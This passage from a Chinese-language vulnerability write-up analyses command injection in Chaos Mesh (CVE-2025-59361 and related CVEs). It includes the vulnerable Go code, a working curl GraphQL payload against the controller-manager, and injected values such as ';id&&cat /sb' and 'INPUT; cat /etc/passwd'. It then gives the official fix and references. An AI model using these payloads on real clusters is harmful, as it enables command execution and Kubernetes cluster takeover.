更加真实的环境中,攻击者可能无法进入chaos-daemon的终端看结果,此时"pids": [“1”, “;invalid_command_that_should_fail”]
如果’invalid_command_that_should_fail: not found’在响应体中,则判断存在命令执行。
为了更加放心,你可以"pids": [“1”,“;id&&cat /sb”],只要报错/sb不存在说明id命令确实执行了。
CVE-2025-59361
相关解析器实现:
// cleanIptables returns actually cleaned chains
func (r *Resolver) cleanIptables(ctx context.Context, obj *v1.Pod, chains []string) ([]string, error) {
var cleaned []string
for _, chain := range chains {
// 漏洞点1:用户可控参数chain未做任何验证/过滤(如限制仅允许合法链名),直接拼接进命令
// 若攻击者传入恶意chain值(如"INPUT; cat /etc/passwd"),拼接后命令会变成 "iptables -F INPUT; cat /etc/passwd"
// 系统会先执行原iptables清空链命令,再执行注入的"cat /etc/passwd",读取敏感文件
cmd := "iptables -F " + chain
_, err := r.ExecBypass(ctx, obj, cmd, bpm.PidNS, bpm.NetNS)
if err != nil {
return cleaned, errors.Wrapf(err, "exec `%s`", cmd)
}
cleaned = append(cleaned, chain)
}
return cleaned, nil
}
payload如下
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc.cluster.local:10082/query \
-H "Content-Type: application/json" \
-d '{
"query": "mutation CleanIptables($namespace: String!, $podName: String!, $chains: [String!]!) { pod(ns: $namespace, name: $podName) { cleanIptables(chains: $chains) } }",
"variables": {
"namespace": "default",
"podName": "test-pod",
"chains": ["; touch /tmp/test-pod.evil #"]
}
}'


同上个漏洞,传入"chains": [“;whoami&&cat /bad #”]可以更加明确地判断漏洞存在,不用进入chaos-daemon的shell看。
修复漏洞
官方修复方式:https://github.com/chaos-mesh/chaos-mesh/pull/4702/files
升级到2.7.3及以上版本即可。
参考链接
1.https://jfrog.com/blog/chaotic-deputy-critical-vulnerabilities-in-chaos-mesh-lead-to-kubernetes-cluster-takeover/
2.https://www.cve.org/CVERecord?id=CVE-2025-59358
3.https://www.cve.org/CVERecord?id=CVE-2025-59359
4.https://www.cve.org/CVERecord?id=CVE-2025-59360
5.https://www.cve.org/CVERecord?id=CVE-2025-59361
更多推荐



所有评论(0)